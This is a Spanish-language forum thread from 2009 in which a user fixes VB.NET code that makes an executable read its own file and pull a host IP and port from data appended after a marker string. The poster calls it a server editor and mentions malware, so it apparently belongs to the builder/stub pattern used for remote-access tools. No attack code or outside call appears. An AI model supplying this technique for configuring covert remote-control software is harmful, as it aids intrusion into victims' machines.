Título: [Solucionado] Problema de lectura de ficheros
Publicado por: Kasi en 17 Julio 2009, 16:18 pm
Muy buenas, verán tengo un problema con un pequeño código de un editor de servers, se que este no es el foro de malware, pero el lenguajes es el de este foro, y creo que aquí podre encontrar mas ayuda. El problema llega a la hora de leer un fichero que ya está en uso por algun proceso, en este caso el fichero seria el mismo ejecutable. Public Sub EditarServer() On Error Resume Next 'Si le quito el resume salta el error Dim Yo As String Dim Partes As Object Dim SubFirma As String SubFirma = "@#~~#@"
FileOpen(1, My.Application.Info.DirectoryPath & "\" & My.Application.Info.AssemblyName & ".exe", OpenMode.Binary) Yo = Space(LOF(1)) FileGet(1, Yo) FileClose(1)
Partes = Split(Yo, SubFirma) IPDelHost = Partes(1) PuertoDelHost = Partes(2) End Sub Hay que tratar los ficheros de algun otro modo? Saludos y gracias.
Título: Re: Problema de lectura de ficheros
Publicado por: raul338 en 17 Julio 2009, 17:07 pm
FileOpen(1, My.Application.Info.DirectoryPath & "\" & My.Application.Info.AssemblyName & ".exe", OpenMode.Binary)
:O ...en el mismo exe?? jamas pense que se podria eso. Igual...intenta si le pones atributos de solo lectura y sin compartir? Algo asi (no es vb, es .....vb + pseudo codigo xD) FileOpen(1, My.Application.Info.DirectoryPath & "\" & My.Application.Info.AssemblyName & ".exe", OpenMode.ReadOnly, FileShare.None)
Título: Re: Problema de lectura de ficheros
Publicado por: Kasi en 17 Julio 2009, 17:43 pm
Vale, tema solucionado...aqui pongo el code con la solución... Public Sub EditarServer() On Error Resume Next Dim Yo As String Dim Partes() As Object ' <--- Tenia que declararlo como array u.u Dim SubFirma As String SubFirma = "@#~~#@"
FileOpen(1, My.Application.Info.DirectoryPath & "\" & My.Application.Info.AssemblyName & ".exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) ' Y abrirlo como shared para poderse usarse a si mismo.. Yo = Space(LOF(1)) FileGet(1, Yo) FileClose(1)
Partes = Split(Yo, SubFirma) IPDelHost = Partes(1).ToString PuertoDelHost = Partes(2).ToString End Sub
|